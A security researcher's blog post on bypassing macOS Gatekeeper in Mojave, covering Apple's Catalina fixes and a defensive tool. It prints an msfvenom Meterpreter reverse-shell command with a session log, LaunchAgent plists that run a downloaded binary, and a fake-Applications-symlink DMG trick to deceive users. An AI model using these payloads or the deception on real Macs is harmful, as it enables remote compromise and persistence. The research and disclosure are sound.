TL;DR Link to heading
On macOS Mojave Gatekeeper only verifies executables, which are run with the open
command or the user double clicks. It won’t verify files, that are executed through other means like, directly executing a binary ./myapp
regardless of the quarantine attribute. If you can place a plist file inside LaunchAgents/LaunchDaemons, the command inside will also be executed. Prior to Catalina there is a way to trick users to drag & drop files in the LaunchAgents folder.
On macOS Catalina lot has changed, the most notable one regarding gatekeeper is that it will verify files when executed via classic ‘exec’ methods.
How it started? Link to heading
When I did my research about embedding files in pkg files back in 2018, I had to verify if Gatekeeper will block my newly created unsigned PKG file or not. First I did a mistake at running it after packing, when I realised, that it’s not good as the file won’t have quarantine extended attribute and Gatekeeper will not check those. Then I downloaded it and instead of double clicking, I did:
chmod +x mypackage.pkg
./mypackage.pkg
And it run. And I was like: WHAT?!?!?! Why could I run an unsigned PKG file if it has a quarantine attribute? Obviously I didn’t really understood at this point how Gatekeeper works, but more on that later. So I started to experiment, and see how can I run unsigned code.
The Mojave era Link to heading
Preparation Link to heading
I created a meterpreter in Kali linux for testing:
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.120.132 LPORT=80 -f macho > m
[-] No platform was selected, choosing Msf::Module::Platform::OSX from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 808168 bytes
Final size of macho file: 808168 bytes
Then I started a HTTP server to simulate the download, and downloaded it to my macOS:
python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.120.1 - - [08/Feb/2019 08:27:12] "GET / HTTP/1.1" 200 -
192.168.120.1 - - [08/Feb/2019 08:27:13] code 404, message File not found
192.168.120.1 - - [08/Feb/2019 08:27:13] "GET /favicon.ico HTTP/1.1" 404 -
192.168.120.1 - - [08/Feb/2019 08:27:15] "GET /m HTTP/1.1" 200 -
If I check the file’s extended attributes it looks right:
xattr -l m
com.apple.metadata:kMDItemWhereFroms:
00000000 62 70 6C 69 73 74 30 30 A2 01 02 5F 10 1D 68 74 |bplist00…_..ht|
00000010 74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 32 30 |tp://192.168.120|
00000020 2E 31 33 32 3A 38 30 38 30 2F 6D 5F 10 1C 68 74 |.132:8080/m_..ht|
00000030 74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 32 30 |tp://192.168.120|
00000040 2E 31 33 32 3A 38 30 38 30 2F 08 0B 2B 00 00 00 |.132:8080/..+…|
00000050 00 00 00 01 01 00 00 00 00 00 00 00 03 00 00 00 |…………….|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 4A |…………J|
0000006d
com.apple.quarantine: 0081;5c5d2f53;Chrome;4FFAAC3A-929D-45EB-ABEF-78B25C3CC15E
Experimenet #1 Link to heading
If I double click the file in Finder I get it blocked as expected:
If I try the open
command it will be also blocked.
Experiment #2 Link to heading
But if I open Terminal, and set the file executable, I can run it without any issues:
chmod +x m
./m
And I get my shell:
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.120.132:80
[*] Meterpreter session 1 opened (192.168.120.132:80 -> 192.168.120.1:53040) at 2019-02-08 08:32:06 +0100
Experiment #3 Link to heading
I create a launch plist file:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.M</string>
<key>ProgramArguments</key>
<array>
<string>/Users/csaby/Downloads/m</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
If you can’t mark it executable:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.M</string>
<key>ProgramArguments</key>
<array>
<string>bash</string>
<string>-c</string>
<string>chmod +x /Users/csaby/Downloads/m;/Users/csaby/Downloads/m</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
And run:
launchctl load test.plist
And I get my shell again.
Experiment #4 Link to heading
Make a C code to run a supplied program:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
system(argv[1]);
}
gcc hello.c -o h
./h /Users/csaby/Downloads/m
+1 Bonus: DYLD_INSERT_LIBRARIES Link to heading
You can inject quarantine flagged binaries in Mojave, which in fact is pretty much expected. See my older post about how to perform this injection: DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX · theevilbit blog
$ ./test
Hello from dylib!
$ xattr -l inject.dylib
com.apple.metadata:kMDItemWhereFroms:
00000000 62 70 6C 69 73 74 30 30 A2 01 02 5F 10 22 68 74 |bplist00..._."ht|
00000010 74 70 3A 2F 2F 31 32 37 2E 30 2E 30 2E 31 3A 38 |tp://127.0.0.1:8|
00000020 30 38 30 2F 69 6E 6A 65 63 74 2E 64 79 6C 69 62 |080/inject.dylib|
00000030 5F 10 16 68 74 74 70 3A 2F 2F 31 32 37 2E 30 2E |_..http://127.0.|
00000040 30 2E 31 3A 38 30 38 30 2F 08 0B 30 00 00 00 00 |0.1:8080/..0....|
00000050 00 00 01 01 00 00 00 00 00 00 00 03 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 49 |...........I|
0000006c
com.apple.quarantine: 0081;5d248e35;Chrome;CE4482F1-0AD8-4387-ABF6-C05A4443CAF4
Is this a bypass or not? Link to heading
So at that point I wasn’t sure if this is a bypass or not, I was really confused. First I did a Google search about this, and no one talks about this as a Gatekeeper ‘bypass’, but it’s well known, to be able to execute files this way on macOS Mojave. Here are a few sites, that mention this:
macos - “XXX can’t be opened. You should move it to trash.” for flash projector applications on Mac os Sierra - Ask Different Mac Gatekeeper security prompt every time · Issue #7085 · bitcoin/bitcoin · GitHub OSX.Dummy new Mac malware targets the cryptocurrency community
It seemed that even Patrick Wardle is unsure if this counts or not (taken from the above post):
So I decided to ask Apple about this, they must know it for sure. I sent a report, and after a couple of weeks they decided that it’s normal behaviour.
What is Gatekeeper then? Link to heading
Probably the closest you can get to understand it is by watching Patrick’s talk from Shmoocon 2016: ShmooCon 2016 Gatekeeper Exposed; Come, See, Conquer - Speaker Deck. Watch it, read it, won’t repeat it here :)
Although it’s not clearly stated everywhere, but I think the overall goal is prevent execution when users double-click applications downloaded from the Internet. If you go and grant execution rights, I think Apple assumes ‘advanced’ users in that case and will not deal with it. At least in Mojave. This is my take on it.
Abusing LaunchAgents Link to heading
Now if we go back there is one clear way to execute anything on a macOS, without the need to grant executable rights, and that is dropping a file the the user’s LaunchAgent directory. Anything you put inside, will be executed, you can use bash to do your magic, drop files, etc. So I started to experiment if I can drop there a file.
Safari’s auto extract feature Link to heading
I think it’s a well known feature of Apple’s Safari browser, that by default it will auto-extract archives. IMO this is super unsafe and everyone should disable it.
I started to see if I can go ahead and drop a file to the LaunchAgent folder of the user, utilising this functionality. I didn’t want to modify any default setting, obviously pointing the location to LaunchAgent folder would solve this right away, but no one on Earth does that, so let’s just be realistic.
Try & Fail 1 - use relative paths in ZIP Link to heading
In a ZIP file you can use relative paths, so my first thought was to use that. It failed, here is how I prepared the file, and then where it was dropped.
Create test file, compress and cleanup.
mac:Downloads csaby$ echo test > ../Library/LaunchAgents/test.plist
mac:Downloads csaby$ zip test.zip ../Library/LaunchAgents/test.plist
adding: ../Library/LaunchAgents/test.plist (stored 0%)
mac:Downloads csaby$ rm ../Library/LaunchAgents/test.plist
Download file, and check where it is dropped
mac:Downloads csaby$ ls ../Library/LaunchAgents/test.plist
ls: ../Library/LaunchAgents/test.plist: No such file or directory
mac:Downloads csaby$ ls Library/LaunchAgents/test.plist
Ok, it didn’t care about the traversal, my second thought was to use the tilde sign.
Prepare and cleanup.
mac:Downloads csaby$ echo test > ../Library/LaunchAgents/test.plist
mac:Downloads csaby$ rm test.zip
mac:Downloads csaby$ zip test.zip ~/Library/LaunchAgents/test.plist
adding: Users/csaby/Library/LaunchAgents/test.plist (stored 0%)
mac:Downloads csaby$ rm ../Library/LaunchAgents/test.plist
Download, and find it.
mac:Downloads csaby$ ls Library/LaunchAgents/test.plist
ls: Library/LaunchAgents/test.plist: No such file or directory
mac:Downloads csaby$ ls ~/Library/LaunchAgents/test.plist
ls: /Users/csaby/Library/LaunchAgents/test.plist: No such file or directory
So where it is?
mac:Downloads csaby$ cat test.zip
PK
G_?N?5?;+Users/csaby/Library/LaunchAgents/test.plistUT ???\?\ux
?test
PK
G_?N?5?;+??Users/csaby/Library/LaunchAgents/test.plistUT???\ux
?PKqj
Looks like zip replaced the ~ with the actual path.
mac:Downloads csaby$ ls Users/csaby/Library/LaunchAgents/test.plist
Users/csaby/Library/LaunchAgents/test.plist
Why that happens? If we look at the archive utility settings, which is used to extract files, we got this:
So it seems, whatever we do, it will create the files there.
Try & Fail 2 - Symlink Link to heading
Symlinks worked once, maybe they could work again. Let’s create a symlink, a test file, add it to a zip file, and cleanup:
mac:Downloads csaby$ ln -s ../Library/LaunchAgents/ la
mac:Downloads csaby$ echo test > la/test.plist
mac:Downloads csaby$ ls -l la
lrwxr-xr-x 1 csaby staff 24 Apr 4 09:17 la -> ../Library/LaunchAgents/
mac:Downloads csaby$ zip -y test.zip la
adding: la (stored 0%)
mac:Downloads csaby$ zip -y test.zip la/test.plist
adding: la/test.plist (stored 0%)
mac:Downloads csaby$ rm la
mac:Downloads csaby$ rm ../Library/LaunchAgents/test.plist
If we try to uncompress it know we get an error:
If we add just a symbolic link, it will be extracted, but anything inside that won’t be.
If we unzip it with unzip it also works:
mac:Downloads csaby$ ln -s ../Library/LaunchAgents/ la
mac:Downloads csaby$ zip -y test.zip la
adding: la (stored 0%)
mac:Downloads csaby$ ls la/
com.google.keystone.agent.plist com.google.keystone.xpcservice.plist com.objectiveSee.blockblock.plist
mac:Downloads csaby$
mac:Downloads csaby$ rm la
mac:Downloads csaby$ cat test.zip
PK
#K?N??7laUT Q??\Q??\ux
?../Library/LaunchAgents/PK
#K?N??7??laUTQ??\ux
?PKHT
mac:Downloads csaby$ unzip test.zip
Archive: test.zip
linking: la -> ../Library/LaunchAgents/
finishing deferred symbolic links:
la -> ../Library/LaunchAgents/
mac:Downloads csaby$ ls la
com.google.keystone.agent.plist com.google.keystone.xpcservice.plist com.objectiveSee.blockblock.plist
Interestingly if we use the built in unzip command line utility it will follow symlinks when extracting:
mac:Downloads csaby$ echo test > la/test.plist
mac:Downloads csaby$ zip t.zip la/test.plist
adding: la/test.plist (stored 0%)
mac:Downloads csaby$ cat t.zip
PK
la/test.plistUT ??\$??\ux
?test
PK
??la/test.plistUT??\ux
?PKSL
mac:Downloads csaby$ rm la/test.plist
mac:Downloads csaby$ unzip t.zip
Archive: t.zip
extracting: la/test.plist
mac:Downloads csaby$ ls la
com.google.keystone.agent.plist com.google.keystone.xpcservice.plist com.objectiveSee.blockblock.plist test.plist
However if we try to extract the above zip file with Archive Utility, it won’t follow symlinks, and will create a new folder:
mac:Downloads csaby$ ls la\ 2/
test.plist
Try & Fail 3 - CPIO archives Link to heading
Doesn’t make a difference. Here is how you create a CPIO archive:
mac:Downloads csaby$ ls ../Library/LaunchAgents/test.plist | cpio -ov > test.cpio
../Library/LaunchAgents/test.plist
1 block
mac:Downloads csaby$ cat test.cpio
0707077777770000011006440007650000240000010000001345133562600004300000000000../Library/LaunchAgents/test.plist0707070000000000000000000000000000000000010000000000000000000001300000000000TRAILER!!!
Even if you update the path with tilde, everything will be created in the Downloads folder.
Try & Fail 4 - Many Others Link to heading
Nothing new here, basically just various combination of the above and trying to insert ../
paths in the middle, but no success overall, but spending countless of hours trying :)
In the meantime a Gatekeeper bypass came out that utilises symlinks, it’s a pretty neat idea, check it out here:
It was created by Filippo Cavallarin. The TL;DR version is: a symlink that points to an NFS share (starting with /net/
) will be auto mounted. Any file on a file share is not subject to Gatekeeper check, thus any file from there could be executed. You can deliver a symlink in a ZIP file as discussed above.
Tricking users Link to heading
After many trials it seems that auto-dropping a file to the LaunchAgents folder doesn’t work, or at lest I didn’t find a way. What if we trick the user to place the file there for us? Now, I think average Mac users won’t have a knowledge necessary to do it for us, so we need to provide a convenient and misleading way of doing that. The most obvious location I thought of is the ‘Drag & Drop’ look of mounted DMG file. I mean this (taken from the GNS3 2.1.17 DMG file):
What if we replace the app on the left with a plist file, and the link on the right pointing to LaunchAgents.
Replacing the link on the right is easy, just make this:
ln -s ~/Library/LaunchAgents/ Applications
It will look exactly the same as the real link above. This means that you can easily fake any link pointing anywhere, while the user will think that it actually points to the Applications folder.
Replacing the one at the left is also easy. Put there the plist file, and on the “Get Info” pane replace its icon with D&D a new image on the top left corner of the info pane, here:
Finally we get this:
If we tick the option “Hide Extension” on the Info pane and if Finder doesn’t have the “Show all filename extensions” setting enabled, we will actually see this:
Does it look legit? For me for sure it is! :) Now if you drag and drop the gecko from the left to the right, you actually drop the PLIST into the user’s LaunchDaemon’s folder. I’m not sure that the average user will notice that something went wrong, other than not being able to execute the application, and won’t see it.
However upon next reboot the command embedded in the plist file, will be executed. My example plist file is:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>gatekeeper_bypass</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>echo Bypassed Gatekeeper! > ~/bypass.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartCalendarInterval</key>
<dict/>
</dict>
</plist>
The command in the plist file will be executed by launchctl
regardless the quarantine flag set.
Two useful resources if you want to build such DMG files:
Building Fancy DMG Images on Mac OS X GitHub - andreyvit/create-dmg: A shell script to build fancy DMGs
Protection Link to heading
That’s easy, using Objective-See’s BlockBlock tool will alert us every time a new file is added to the Launch* folders, and will allow us blocking it. It can be downloaded from here:
Changes in macOS Catalina Link to heading
macOS Catalina introduced number of changes regarding GateKeeper. If you are interested, watch Apple’s talk from WWDC 2019: Advances in macOS Security - WWDC 2019 - Videos - Apple Developer Here I will only highlight the main item involving GateKeeper. The most significant change is that GK will also verify applications, binaries when they are run from the command line, via classic ‘exec’ methods. This means that my previous experiments won’t really work anymore. Awesome! Interestingly Apple said that my previous report inspired them to implement this, and they mentioned me in their security advisory of Catalina:
I, by no means want to suggest that I discovered this bypass, as you saw that it was well documented, however likely it was only me who raised this as an issue to Apple.
The other protection they implemented was related my drag & drop trick. They modified Finder
to disallow D&D into the user’s LaucnAgents folder.
IMO they should disallow the loading of PLIST files that has the quarantine flag present. Someone might find another way to drop there PLIST files, and in that case we are back to ground 0.
Changes in macOS Catalina 10.15.2 security update Link to heading
Above I mentioned that Finder doesn’t allow anymore to D&D into the user’s LaunchAgent’s directory. This is true, however there was a glitch. If you kept the file above the symlink, Finder eventually popped up the folder location, something Apple called a SpringBoard popup, and you could drop the file there. So although you couldn’t place the file on top of the link, if you waited a second or two, the location showed up, and nothing prevented you from D&D the file to its location. I made a video showing this behaviour on Catalina beta:
Apple fixed this in their 10.15.2 update, the location no longer pops up.
Malware using Qemu VM to run code on macOS Link to heading
This is not related to my research in any way, however I found it pretty awesome trick to bypass GK. A malware was using Qemu, which is signed to run a custom VM, which will do crypto mining. A VM won’t allow you to access files on the machine, however you can still use the CPU power. Pretty clever :) Here is the full article: New Mac cryptominer Malwarebytes detects as Bird Miner runs by emulating Linux - Malwarebytes Labs | Malwarebytes Labs
Conclusion Link to heading
I think GateKeeper is a good feature in macOS and although it’s not perfect, it keeps evolving, locking down the ability to run malicious / unsigned code less and less. I hope this post gave you some ideas and it clarified a bit when GK is invoked by the OS.